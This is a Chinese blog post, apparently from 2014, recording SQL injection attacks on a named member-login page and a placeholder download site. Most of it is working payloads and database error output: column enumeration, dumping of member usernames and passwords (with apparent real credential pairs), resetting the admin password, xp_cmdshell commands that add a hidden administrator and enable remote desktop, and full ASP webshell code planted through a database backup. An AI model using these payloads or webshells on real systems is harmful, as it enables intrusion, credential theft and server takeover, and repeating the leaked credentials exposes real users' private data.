现在的位置: 首页 > 综合 > 正文

注入经验积累

2014年12月13日 ⁄ 综合 ⁄ 共 18744字 ⁄ 字号 评论关闭
注入经验积累(一)

目标:http://www.abcw114.com/index.asp
注入点:会员登陆(帐号/密码)

一、获得建立用户的表的名字和字段的名字;使用select语法的having子句。
**********************************************************************************
'having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_id' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
/football/reguser/check.asp,行26
成果:知道了表的名字reguser和第一个字段的名字reguser.reg_id。

二、通过字段放到group by子句找到字段名。
1、
**********************************************************************************
'group by reguser.reg_id having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_name' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_name字段
2、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_password' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_password字段
3、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_relname' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_relname字段
4、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_regtime' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_regtime字段
5、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_findme' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_findme字段
6、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_city' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_city字段
7、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_qq' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_qq字段
8、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_icq' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_icq字段
9、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_msn' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_msn字段
10、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_phone' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_phone字段
11、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_class' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_class字段
12、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_money' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_money字段
13、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_regip' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_regip字段
14、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_Estar' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_Estar字段
15、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_Eend' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_Eend字段
16、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_changeuser' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_changeuser字段
17、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_changetime' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_changetime字段
18
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_logintime' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_logintime字段
19
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_online' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_online字段
20
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime,reguser.reg_online having 1=1--
**********************************************************************************
返回结果:
出现信息提示框;你还不是会员请注册
到这里一个表猜完。
三、确定列的类型。通过使用类型转化来实现:利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。
1、
**********************************************************************************
'union select sum(reguser.reg_name) from reguser--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
sum or average aggregate 运算不能以 varchar 数据类型作为参数。
/football/reguser/check.asp,行26
成果:reguser.reg_name字段是数据类型varchar。
2、
**********************************************************************************
'union select sum(reguser.reg_id) from reguser--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。
/football/reguser/check.asp,行26
四、insert查询:
**********************************************************************************
';insert into reguser values(666,'attacker','foobar')--
**********************************************************************************
五、
'union select * from reguser where reguser.reg_name='admin'--
';select * from reguser where reguser.reg_name='admin'--

';updata reguser set reguser.reg_password='36d201fb337dc23bde4d143491cfae4d' where reguser.reg_name='admin'--
'union updata reguser set reguser.reg_password='36d201fb337dc23bde4d143491cfae4d' where reguser.reg_name='admin'--

六、从reguser表中读取用户名:
'union select min(reguser.reg_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>'a'--
这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

收集密码:
'union select reguser.reg_password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>'admin'--
'union select password,1,1,1 from users where username='admin'--

13535701998

创建了一个foo表,里面只有一个单独的列'ret',里面存放着得到的用户名和密码的字符串
';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+reguser.reg_name+'/'+reguser.reg_password from reguser where reguser.reg_name>@ret select @ret as 1866574 into 1866574 end--

'union select ret,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from foo--

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 ': 383838/989898 123456/234567 korea007/154085 风681168/13535701998 kyo327/woaini denglong/247986965' 转换为数据类型为 int 的列时发生语法错误。
/football/reguser/check.asp,行26

';drop table foo--

admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

=-= 加帐号 =-=
';Exec master..xp_cmdshell 'net user'--

';Exec master..xp_cmdshell 'net user jiaoniang$ 1866574 /add'--
';Exec master..xp_cmdshell 'net localGroup Administrators jiaoniang$ /add'--

';exec master..sp_addlogin jiaoniang$,1866574--
';exec master..sp_addsrvrolemember jiaoniang$,sysadmin--

';exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM/CurrentControlSet/Services/lanmanserver/parameters','nullsessionshares'--

=-= 开服务 =-=
';Exec master..xp_cmdshell 'net stat telnet'--
';Exec master..xp_cmdshell 'net stat server'--

=-= 开3389 =-=
';Exec master..xp_cmdshell "echo [Components] > c:/1866574"--
//在c盘根目录建写入一个文件
';Exec master..xp_cmdshell "echo TsEnable = on >> c:/1866574"--
//追加写入
';Exec master..xp_cmdshell "sysocmgr /i:c:/windows/inf/sysoc.inf /u:c:/1866574 /q"--
//开3389,成功的话过会肉机会重启!!

注入经验积累(二)

以下权限非SA权限!
语句:http://www.xxxxx.com/down/list.asp?id=1'
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/down/list.asp,行21
测试权限结构:
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_MEMBER('db_owner'));--
通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,得到管理员的表和管理表资料
进一步得到权限有两种方法:意思爆出所有字段,取管理后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP直接上传WEBSHELL,难点在于寻找WEB目录。
我们把路径写到表里去!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!说明建表成功!继续!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/'--
回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最后用同样的方法测试得到网页目录放在E:/WEB下,得到网页目录后两种选择,一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL。监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理后台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的目录树,让我们容易混乱,所以就来一层层得到下级目录吧:
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--
经过反覆的爆字段,最后爆到一个xxxadminlogin目录,一看就知道这个目录可能就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续:
语句:http://http://www.xxxxx.com/down/xxxadminlogin/
显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还等什么?进去瞧瞧……
XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树。针对登陆入口在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性,也是非常考个人思维的地方。
再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具,很容易就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网页目录也是个好的办法!
语句:
http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:/web/down.bak';--

 use model
create table cmd (str image);
insert into cmd(str) values ('<% Dim oScript %><% Dim oScriptNet%><% Dim oFileSys, oFile%><% Dim szCMD, szTempFile%>');
insert into cmd(str) values ('<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>');
insert into cmd(str) values ('<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>');
insert into cmd(str) values ('<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>');
insert into cmd(str) values ('<% szCMD = Request.Form(".CMD")%><% If (szCMD <> "") Then%>');
insert into cmd(str) values ('<% szTempFile = "C:/" & oFileSys.GetTempName()%>');
insert into cmd(str) values ('<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>');
insert into cmd(str) values ('<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%><% End If %>');
insert into cmd(str) values ('<HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST">');
insert into cmd(str) values ('<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>');
insert into cmd(str) values ('<% If (IsObject(oFile)) Then%><% On Error Resume Next%>');
insert into cmd(str) values ('<% Response.Write Server.HTMLEncode(oFile.ReadAll)%><% oFile.Close%>');
insert into cmd(str) values ('<% Call oFileSys.DeleteFile(szTempFile, True)%>');
insert into cmd(str) values ('<% End If%></BODY></HTML>');
backup database model to disk='c:/l.asp';

拷贝c:/l.asp到你的web发布目录,再用浏览器请求一下,没有500错误的话,获得一个shell了,不过这个shell中垃圾数据实在是太多,要多按几下TAB键才能到输入命令的那个输入框。

实践中用FSO的webshell是很不方便的,另外一个可能的webshell是这样子:
use model
create table cmd (str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:/wwwtest/l.asp';

请求的时候,像这样子用:

http://202.119.9.42/l.asp?c=dir

如果不是sa的身份的话,也许declare @a sysname;select @a=db_name()会有一些用处。成功的几率,不敢说的太高,估计80%还是有的吧,如果通过这种方法得到了shell,其实会发现,有很多垃圾数据,也许还是个2、3M

抱歉!评论已关闭.